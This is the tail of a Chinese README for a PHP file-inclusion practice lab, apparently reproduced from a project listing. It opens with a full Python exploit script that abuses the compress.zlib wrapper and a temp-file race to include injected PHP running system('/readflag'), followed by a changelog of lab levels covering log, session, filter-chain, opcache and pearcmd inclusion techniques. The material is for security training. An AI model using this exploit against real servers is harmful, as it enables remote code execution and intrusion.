compress.zlib生成临时文件\n\n详细可看陆师傅的WP：https://zeddyu.github.io/p/36c3-web-%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/#includer\n\nexp\n\n```python\n# from https://gist.github.com/ZeddYu/42159da911e82dba923b375a9f64ad65\nfrom pwn import *\nimport requests\nimport re\nimport threading\nimport time\n\n\nfor gg in range(100):\n\n    r = remote(\"192.168.34.1\", 8004)\n    l = listen(8080)\n    \n    data = '''name={}\u0026file=compress.zlib://http://192.168.151.132:8080'''.format(\"a\"*8050)\n\n    payload = '''POST / HTTP/1.1\nHost: 192.168.34.1:8004\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\nContent-Length: {}\nContent-Type: application/x-www-form-urlencoded\nConnection: close\nCookie: PHPSESSID=asdasdasd\nUpgrade-Insecure-Requests: 1\n{}'''.format(len(data), data).replace(\"\\n\",\"\\r\\n\")\n\n\n    r.send(payload)\n    try:\n        r.recvuntil('your sandbox: ')\n    except EOFError:\n        print(\"[ERROR]: EOFERROR\")\n        # l.close()\n        r.close()\n        continue\n    # dirname = r.recv(70)\n    dirname = r.recvuntil('\\n', drop=True) + '/'\n\n    print(\"[DEBUG]:\" + dirname)\n\n    # send trash\n    c = l.wait_for_connection()\n    resp = '''HTTP/1.1 200 OK\nDate: Sun, 29 Dec 2019 05:22:47 GMT\nServer: Apache/2.4.18 (Ubuntu)\nVary: Accept-Encoding\nContent-Length: 534\nContent-Type: text/html; charset=UTF-8\n{}'''.format('A'* 5000000).replace(\"\\n\",\"\\r\\n\")\n    c.send(resp)\n\n\n    # get filename\n    r2 = requests.get(\"http://192.168.34.1:8004/.well-known../\"+ dirname + \"/\")\n    try:\n        tmpname = \"php\" + re.findall(\"\u003ephp(.*)\u003c\\/a\",r2.text)[0]\n        print(\"[DEBUG]:\" + tmpname)\n    except IndexError:\n        l.close()\n        r.close()\n        print(\"[ERROR]: IndexErorr\")\n        continue\n    def job():\n        time.sleep(0.01)\n        phpcode = 'wtf\u003c?php system(\"/readflag\");?\u003e';\n        c.send(phpcode)\n\n    t = threading.Thread(target = job)\n    t.start()\n\n    # file_get_contents and include tmp file\n    exp_file = dirname + \"/\" + tmpname\n    print(\"[DEBUG]:\"+exp_file)\n    r3 = requests.post(\"http://192.168.34.1:8004/\", data={'file':exp_file})\n    print(r3.status_code,r3.text)\n    if \"wtf\" in r3.text:\n        break\n\n    t.join()\n    r.close()\n    l.close()\n    #r.interactive()\n```\n\n### Level 22: Nginx 在后端 Fastcgi 响应过大产生临时文件\nModified form [HXPCTF 2021]includer's revenge\n参考文章：https://tttang.com/archive/1384/\n\n### Level 23: 伪协议读文件二次URL编码\n不多说 看关卡一目了然x\n\n## 更新日志\n\n**2024/07/29 更新**\n\n- Level 0: include_base 体验关\n- Level 1: file协议\n- Level 2: data协议_1\n- Level 3:  data协议_2\n- Level 4: http:// \u0026 https://_1\n- Level 5: http:// \u0026 https://_2\n- Level 6: php协议_简介\n- Level 7: php协议_php://input\n- Level 8: php协议_php://filter_过滤器\u0026字符串过滤器\n- Level 9: php协议_php://filter_转换过滤器\n\n**2024/08/02 更新**\n\n为所有关卡添加了独立的 Dockerfile\n\n- Level 10: 文件系统函数简介 \u0026 文件系统函数_file_get_contents()\n- Level 11: 文件系统函数_file_put_contents()\n- Level 11-:封装协议解析（选自P牛2016年的文章 Filter的妙用）\n- Level 11+:文件系统函数\\_file_put_contents()_死亡绕过\n- Level 12: LFI\u0026\u0026RFI的本质\n- Level 13: LFI\\_日志文件包含_Nginx\n- Level 14: LFI\\_日志文件包含_Apache\n- Level 15: LFI_Session文件包含\n- Level 16: FilterChain:THE_END_OF_LFI\n- Level 17: FilterChain:file read from error-based oracle\n\n**2024/08/06 - 08 更新**\n\n修复了部分关卡的Dockerfile Error，修改部分关卡的源码以提高可读性。\n添加了不常见的一些 include 手段\n\n- Level 18:require/include_once 缺陷：绕过以重复包含文件\n  Modified From: [WMCTF2020]Make PHP Great Again.\n\n- Level 19:opcache缓存\n  Modified From: [湖湘杯2020] 题目名字不重要反正题挺简单的\n  OPcache会在特定的目录缓存编译后的PHP文件，以达到在你下次访问的时候直接调用缓存中的字节码以提高响应速度 —— 利用这一特性，如果我们复写缓存文件为恶意代码，那么下次调用的时候就会执行恶意代码。  \n\n  当然在文件包含的这个关卡，我们只是简要的利用他会生成 filename.type.bin 这一特性去读取文件。 \n\n\n  具体的细节师傅们可以自行了解，你也可以通过修改该靶场的文件来搭建复写类型的RCE漏洞。  \n\n  [F12 - opcache导致的RCE复现 ](https://www.cnblogs.com/F12-blog/p/18001985)  \n\n  [笑花大王 - php7的Opcache getshell](https://www.cnblogs.com/xhds/p/13239331.html)\n\n- Level 20: pearcmd.php \n  选自P牛2021年的文章中 0x06 pearcmd.php的巧妙利用 ：https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html\n\n- Level 21: compress.zlib生成临时文件\n  Modified form [hxp 36C3 CTF]includer\n  参考文章：https://zeddyu.github.io/p/36c3-web-%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/\n\n- Level 22: Nginx 在后端 Fastcgi 响应过大产生临时文件\n  Modified form [HXPCTF 2021]includer's revenge\n  参考文章：https://tttang.com/archive/1384/\n\n- Level 23: 伪协议读文件二次URL编码\n  \n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fprobiusofficial%2Fphpinclude-labs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fprobiusofficial%2Fphpinclude-labs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fprobiusofficial%2Fphpinclude-labs/lists"}